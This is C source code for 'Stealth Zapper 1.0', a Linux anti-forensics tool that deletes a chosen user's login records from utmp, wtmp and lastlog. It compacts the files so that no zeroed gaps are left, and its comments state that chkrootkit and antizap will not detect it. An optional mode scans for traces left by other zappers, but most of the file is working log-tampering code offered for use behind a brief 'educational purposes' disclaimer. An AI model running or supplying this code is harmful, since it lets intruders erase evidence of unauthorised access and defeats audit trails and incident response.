// Stealth Zapper 1.0 by Topo[LB]
//
// Erases the utmp,wtmp and lastlog entries for a specific user.
// Unlinke classic zappers, it does not leave "holes" on wtmp and utmp files.
// Now, it won't be possible to detect that this zapper have ever been ran on the system
//   => chkrootkit and antizap should not detect anything.
//
// It also detects the traces left in the utmp/wtmp logs by other classic zappers.
//
// Tested under GNU/Linux
//
// Please, use it for educational purposses only.

#include <stdio.h>
#include <time.h>
#include <string.h>
#include <utmp.h>
#include <getopt.h>
#include <lastlog.h>
#include <pwd.h>
#include <unistd.h>
#include <sys/types.h>

#define VERSION	"1.0"

short verbose=0;
short erasezaps=0;
short analyze=0;

void Version(char *program){
	printf("\n%s\n\n",VERSION);	
	exit (1);
}

void Usage(char *program){
	printf ("Usage: %s [-u user | -s] [-h] [-v] [-V]\n\n", program);
	printf("  -u <user>	Erases the log entries for this user.\n");
	printf("  -s	Removes traces of previously ran zappers\n");
	printf("  -a	Analyze log files searching zapper traces\n");
	printf("  -v: be verbose\n");
	printf("  -V: prints program version and exits\n");
	printf("  -h: prints this help ;)\n\n");
	exit(0);	
}

void Exiterror(char *error){
	printf ("\n ERROR: %s \n\n",error);
	printf ("Take a look at the help using -h\n\n");
	exit(0);		
}

void Banner(void){
	printf("\nStealth Zapper 1.0 by Topo[LB]\n\n");
		
}

void CleanUTMP(char *username, char *filename){
	FILE *file;	
	FILE *file2;
	long finallenght=0;
	//long lastposition=0;
	struct utmp r_uwtmp;
	struct utmp r_uwtmp_zero;
	int i=0;
	short entryfound=0;
	long timebefore;
	long timeafter;
	short haveprint=0;
	int deletedentries=0;
	int totaldeletedentries=0;
	char asctimebefore[256];
	char asctimeafter[256];
	
	bzero(&r_uwtmp_zero, sizeof(r_uwtmp_zero));
	
	if(!(file=fopen(filename, "r"))){
		printf(" Error opening file %s\n\n", filename);
		return;
	}	

	if (!analyze){
		if(!(file2=fopen(filename, "r+"))){
			printf(" Error opening file %s\n\n", filename);
			return;
		}		
	}

	if (analyze){

		timebefore=0;

		while(fread((char *)&r_uwtmp, sizeof(r_uwtmp), 1, file) > 0) {
			if(!bcmp(&r_uwtmp,&r_uwtmp_zero,sizeof(r_uwtmp))){
				haveprint=1;
				totaldeletedentries++;
				deletedentries++;
			}else {
				if (!haveprint) timebefore=r_uwtmp.ut_time;
				else {
					timeafter=r_uwtmp.ut_time;
					strcpy(asctimebefore,ctime( (time_t *)&timebefore));
					strcpy(asctimeafter,ctime( (time_t *)&timeafter));
					printf (" [!!!] Detected %u deleted entries between %s and %s\n",deletedentries, asctimebefore, asctimeafter);
					fflush(stdout);
					deletedentries=0;	
					haveprint=0;	
					timebefore=r_uwtmp.ut_time;
				}
			}
		}
		
		if (haveprint) {
			strcpy(asctimebefore,ctime( (time_t *)&timebefore));
			strcpy(asctimeafter,ctime( (time_t *)&timeafter));
			printf (" [!!!] Detected %u deleted entries between %s and %s\n",deletedentries, asctimebefore, asctimeafter);
			fflush(stdout);
		}
		
		if (!totaldeletedentries) printf ("\n   [INFO] No zapper found :)\n\n");
		else printf ("\n   [!!!] ZAPPER FOUND. %d entries were deleted by someone!\n\n",totaldeletedentries);
	}


	if (!erasezaps && !analyze) while(fread((char *)&r_uwtmp, sizeof(r_uwtmp), 1, file) > 0) {
		if(!strcmp(r_uwtmp.ut_name, username)){
			if (verbose) printf("Entry detected for %s on %s. Deleting it!\n",username, ctime( (time_t *) &r_uwtmp.ut_time));
			totaldeletedentries++;
			entryfound=1;
		}	else {
			if (entryfound) fwrite((char *)&r_uwtmp, sizeof(r_uwtmp), 1, file2);
			else fseek(file2, sizeof(r_uwtmp), SEEK_CUR);
		}
	}

	
	if (erasezaps && !analyze) while(fread((char *)&r_uwtmp, sizeof(r_uwtmp), 1, file) > 0) {
		if(!bcmp(&r_uwtmp, &r_uwtmp_zero, sizeof(r_uwtmp))){
			if (verbose) printf("Erased entry detected!\n");
			totaldeletedentries++;
			entryfound=1;
		}	else {
			if (entryfound) fwrite((char *)&r_uwtmp, sizeof(r_uwtmp), 1, file2);
			else fseek(file2, sizeof(r_uwtmp), SEEK_CUR);
		}
	}
			
	fclose(file);
	if (!analyze){
		finallenght=ftell(file2);
		fclose(file2);
		if (entryfound) if (truncate(filename,finallenght)){
			printf("WARNING! truncate() error");
		}
	}
	
	if (!totaldeletedentries){
		if (!analyze && !erasezaps) printf (" User %s not found!\n\n",username);
		if (!analyze) printf (" NO zap entries detected. 0 entries cleaned\n\n");
	}
	else{
		if (!analyze && !erasezaps) printf (" %d entries cleaned for user %s!\n\n",totaldeletedentries,username);
		if (!analyze) printf (" %d entries cleaned\n\n",totaldeletedentries);
	}
	
}

void CleanLastlog(char *username, char *filename) {
	FILE *file;
	struct passwd *p_passwd;
	struct lastlog r_lastlog;
	int i=0;

	if((file=fopen(filename,"r+"))==NULL){
		printf(" Error opening file %s\n\n", filename);
		return;
	}

	if ((p_passwd=getpwnam(username))==NULL){
		printf (" User %s not found!\n\n",username);
		return;
	}

	fseek(file, (long)(p_passwd->pw_uid*sizeof(r_lastlog)),SEEK_SET);
	bzero((char *)&r_lastlog, sizeof(r_lastlog));
	fwrite((char *)&r_lastlog, sizeof(r_lastlog),1,file);

	fclose(file);

	printf("Lastlog file cleaned for user %s!\n\n",username);

}

int main(int argc, char *argv[]) {
	char username[UT_LINESIZE]="";
	int i;

	Banner();
	
	if (argc<2) Usage(argv[0]);

	while((i=getopt(argc, argv, "avVshu:")) != EOF) {
		switch(i) {
			case 'V':
				Version(argv[0]);
				break;
			case 'h':
				Usage(argv[0]);
				break;
			case 'v':
				verbose=1;
				break;
			case 's':
				erasezaps=1;
				break;
			case 'a':
				analyze=1;
				break;
			case 'u':
				if (!optarg) Exiterror("If you use -u you must provide a username!");
				if(strlen(optarg)>UT_LINESIZE){
					printf("username is too long\n");
					exit(0);
				}
				strcpy(username, optarg);
				break;
			default :
				Exiterror("Unknown parameter");
				break;
		}
	}

	if (!erasezaps && !analyze && username[0]==0) Exiterror("You must use either -s or -u <user>");

	printf(" UTMP Cleaning ...\n");
	fflush(stdout);
	CleanUTMP(username, _PATH_UTMP);

	printf(" WTMP Cleaning ...\n");
	fflush(stdout);
	CleanUTMP(username, _PATH_WTMP);

	if (!analyze && !erasezaps){
		printf(" LASTLOG Cleaning ...\n");
		fflush(stdout);
		CleanLastlog(username, _PATH_LASTLOG);
	}
}


